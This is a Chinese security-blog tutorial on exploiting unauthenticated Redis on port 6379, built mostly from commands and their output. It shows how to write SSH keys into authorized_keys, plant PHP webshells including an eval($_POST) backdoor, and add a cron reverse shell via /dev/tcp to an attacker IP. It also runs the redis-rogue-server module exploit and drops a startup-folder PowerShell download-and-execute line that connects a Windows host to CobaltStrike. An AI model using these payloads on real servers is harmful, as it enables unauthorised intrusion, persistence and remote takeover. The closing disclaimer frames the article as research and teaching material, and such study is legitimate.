Redis 6379端口

admin 2024年11月21日14:08:40Redis 6379端口已关闭评论55 views字数 3536阅读11分47秒阅读模式

# 关于



# 攻击方法

要成功的利用Redis未授权访问的漏洞需要如下几点



首先可以使用 Nmap的检测脚本 对 Redis进行未授权检测

nmap -A -p 6379 –script redis-info 192.168.0.126

1

也可以使用其他工具进行扫描

Redis 6379端口

连接数据库查看 info, 确定未授权访问

redis-cli -h 192.168.0.126 -p 6379

1

Redis 6379端口

Redis 6379端口

# Linux 获取权限

# SSH公钥

生成密钥在攻击机中

Redis 6379端口

将公钥导入key.txt文件(前后用\n\n换行,避免和Redis里其他缓存数据混合)

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

1

Redis 6379端口

再把 key.txt 文件内容写入目标主机的缓冲里

cat key.txt | redis-cli -h 192.168.0.126 -x set test 

1

Redis 6379端口
再通过设置参数,写入指定文件

┌──(root💀kali)-[~/.ssh]
└─# redis-cli -h 192.168.0.126 -p 6379
192.168.0.126:6379> config set dir /root/.ssh
OK
192.168.0.126:6379> config set dbfilename authorized_keys
OK
192.168.0.126:6379> keys *
1) "test"
192.168.0.126:6379> get test
"\n\n\nssh-rsa xxxxxxxxxxxx \n\n\n\n"
192.168.0.126:6379> save
OK
192.168.0.126:6379> 

 

Redis 6379端口

  • ✅如上则为成功写入SSH密钥文件,攻击机可无需密码远程连接目标主机SSH

# WebShell

当SSH不允许远程登录时,也可以通过写入 Web目录控制目标主机

┌──(root💀kali)-[~/.ssh]
└─# redis-cli -h 192.168.0.126 -p 6379
192.168.0.126:6379> config set dir /var/www/html
OK
192.168.0.126:6379> config set dbfilename xxx.php
OK
192.168.0.126:6379> set web "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
OK
192.168.0.126:6379> save
OK

 

Redis 6379端口

# 定时任务

也可以通过写入定时任务反弹Shell,获取权限


192.168.0.126:6379> set test2 "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.140/9999 0>&1\n\n"
OK
192.168.0.126:6379> config set dir /var/spool/cron
OK
192.168.0.126:6379> config set dbfilename root
OK
192.168.0.126:6379> save
OK
192.168.0.126:6379> 

 

Redis 6379端口

# 主从复制



Redis未授权访问在4.x/5.0.5以前版本,我们可以使用主/从模式加载远程模块,通过动态链接库的方式执行任意命令。

关于漏洞原理请查看Pavel Toporkov的分享 (opens new window)

漏洞利用脚本: n0b0dyCN/redis-rogue-server (opens new window)

➜ ./redis-rogue-server.py -h
______         _ _      ______                         _____                          
| ___ \       | (_)     | ___ \                       /  ___|                         
| |_/ /___  __| |_ ___  | |_/ /___   __ _ _   _  ___  \ `--.  ___ _ ____   _____ _ __ 
|    // _ \/ _` | / __| |    // _ \ / _` | | | |/ _ \  `--. \/ _ \ '__\ \ / / _ \ '__|
| |\ \  __/ (_| | \__ \ | |\ \ (_) | (_| | |_| |  __/ /\__/ /  __/ |   \ V /  __/ |   
\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_|    \_/ \___|_|   
                                     __/ |                                            
                                    |___/                                             
@copyright n0b0dy @ r3kapig

Usage: redis-rogue-server.py [options]

Options:
  -h, --help           show this help message and exit
  --rhost=REMOTE_HOST  target host
  --rport=REMOTE_PORT  target redis port, default 6379
  --lhost=LOCAL_HOST   rogue server ip
  --lport=LOCAL_PORT   rogue server listen port, default 21000
  --exp=EXP_FILE       Redis Module to load, default exp.so
  -v, --verbose        Show full data stream
Example

 

python3 redis-rogue-server.py --rhost 192.168.51.146 --lhost 192.168.51.146 --exp=exp.so

1

Redis 6379端口

Redis 6379端口

# Windows 获取权限

# Webshell


Redis 6379端口

这里测试的目标路径为:C:\phpstudy_pro\WWW

192.168.0.123:6379> config set dir C:\phpstudy_pro\WWW
OK
192.168.0.123:6379> config set dbfilename shell.php
OK
192.168.0.123:6379> set test "<?php @eval($_POST['shell'])?>"
OK
192.168.0.123:6379> save
OK

 

Redis 6379端口

Redis 6379端口

# 启动项

攻击方法与写入Linux启动项相似




首先创建 CobaltStrike监听

Redis 6379端口

生成 Powershell 语句

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.0.126:6666/a'))"

1

执行Redis命令写入语句

192.168.0.123:6379> config set dir "C:/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp/"
OK
192.168.0.123:6379> config set dbfilename cmd.bat
OK
192.168.0.123:6379> set x "\r\n\r\npowershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.0.126:6666/a'))\"\r\n\r\n"
OK
192.168.0.123:6379> save
OK

 

当主机重启时就会执行命令上线 CobaltStrike

Redis 6379端口

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月21日14:08:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Redis 6379端口https://cn-sec.com/archives/3397906.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.